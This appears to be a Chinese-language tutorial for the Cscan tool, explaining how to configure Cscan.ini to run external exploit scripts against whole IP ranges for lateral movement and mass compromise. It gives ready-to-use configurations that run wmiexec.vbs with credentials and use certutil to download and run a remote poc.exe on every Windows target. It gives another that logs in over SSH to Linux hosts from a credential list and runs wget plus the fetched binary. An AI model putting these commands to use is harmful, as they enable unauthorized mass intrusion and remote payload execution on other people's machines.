0x000 调用原理
Cscan调用外部程序有两种方式,一是编写DLL,二是配置文件
编写DLL文件对于不懂编程的人来说可能会很难(虽然支持各语言)
由于考虑到很多人不会编程或会编程又急用无法短时间转成DLL
所以特意提供ini做为调用外部程序接口,毕竟每出个EXP就写个批量工具不现实
EXP代码未必是你擅长并喜欢的代码,甚至不提供源码,没关系Cscan照样调用
配置Cscan.ini应该算是目前最容易实现Cscan自定义"插件"功能了
配置文件使用非常简单,只需配置两个参数,一是程序,二是参数
批量文件: ip.txt ip24.txt ip16.txt ip8.txt 还有 url.txt
0x001 参数说明
主程序
主程序可直接运行,直接运行会加载IP或URL文件,不存在则默认扫描当前机器所处的多个C段。
cscan (直接运行)
cscan 192.168.1.108 (单个IP) cscan 192.168.1.108/24 (C段) cscan 192.168.1.108/16 (B段) cscan 192.168.1.108/8 (A段)
Cscan.ini文件
exe即程序名(系统程序可省路径,非系统程序需完整路径)
arg即参数,比方说执行net user命令,程序是net.exe参数是user
在win系统里本质上执行的是c:/windows/system32/net.exe user
VBS脚本:执行"cscript exp.vbs",本质上执行的是c:/windows/system32/cscript.exe exp.vbs
PY脚本: 执行"python exp.py",本质上执行的是PY安装路径/python.exe exp.py
以上不需要全路径的原因是设置了环境变量,系统自动识别了
那么Cscan要调用外部程序,就得先设置Cscan的“环境变量”
好比你点外卖,你不填写地址,让骑手去哪给你送货?
给程序一个眼神它是不会自己去体会的,连人都做不到。
下面以调用内网横向渗透脚本Wmiexec.vbs为例(脚本和cscan主程序放在同一目录)
wmiexec.vbs内网远程CMD例子: cscript wmiexec.vbs /cmd IP 用户名 密码 whoami
IP或URL文件
ip数字.txt对应着所扫列表,意味着不仅仅是批量IP列表,同时可扫描多个C段跨网段或B段等
ip.txt文件可填写任意内容不仅限于IP,url.txt仅限URL地址,批量扫描网站列表时使用。
0x002 配置Cscan.ini
新建Cscan.ini文件,内容如下
[Cscan] exe=cscript.exe arg=wmiexec.vbs /cmd $ip$ user pass "echo FuckOK"
ps:调用其它VBS脚本同理(有些机器默认无Whoami命令,所以执行echo返回特定内容最佳)
0x003 设置扫描范围
新建C段文件ip24.txt,内容如下(扫描以下两个C段机器)
0x004 批量验证或执行命令
运行Cscan > pwd.txt (Cscan主程序要选用系统对应.net版本)
如图(由于批量执行的是whoami,所以成功的将会返回whoami的结果)
0x005 Windows批量上控
有人肯定要说,我不想给所有机器上控怎么办?
特定机器列表使用ip.txt,B段ip16.txt、A段ip8.txt
新建ip.txt,同时删除ip24.txt或改名(调用优先级问题)
ip.txt内容如下(仅扫描以下4个IP)
192.168.1.8 192.168.1.100 10.1.11.5 172.3.4.6
Cscan.ini内容
[Cscan] exe=cscript.exe arg=wmiexec.vbs /cmd $ip$ user pass "certutil.exe -urlcache -split -f http://k8gege.github.io/poc.exe&&poc.exe"
Certutil仅是其中一种下载方法,几年前就有人整理至少17种方法,就不列举了
(其它下载者命令百度、Google,关键字比也以前多什么下载执行Payload等)
现在也有很多人把人家一篇精华文章换个名词写成十几篇教程给萌新看
好像很吊的样子,但是在大量教程文章的情况下依旧有人不懂举一反三
按理说我写Cscan批量调用其它EXP例子时,就有人懂得如何批量上控
但事实并非如此,甚至有些人已接触一段时间,搞得像萌新一样还不懂
由于在统计里发现有人搜索"Cscan如何使用",加上怕有人问浪费时间
为了照顾萌新以及一些不同举一反三的“老人”,特意写此文章教程
0x006 Linux批量上控
通过调用sshcmd.exe可实现批量验证SSH密码或者批量上控
ip.txt内容 格式: IP 端口 用户 帐密
192.168.1.8 22 root k8123456 192.168.1.100 444 root admin123 10.1.11.5 22 root p@walod 172.3.4.6 22 root test
PS:ip.txt不仅限于IP,可灵活配置,这点我不写教程真的没几个人知道,因为早期版本我加了正则非IP是无法传参的
Windows批量同理,这样就可以批量验证不懂端口不同帐密了,详见:https://www.cnblogs.com/k8gege/p/10995625.html
Cscan.ini内容
[Cscan] exe=sshcmd.exe arg=$ip$ "wget http://k8gege.github.io/poc.out&&./poc.out"
0x007 下载
https://github.com/k8gege/K8CScan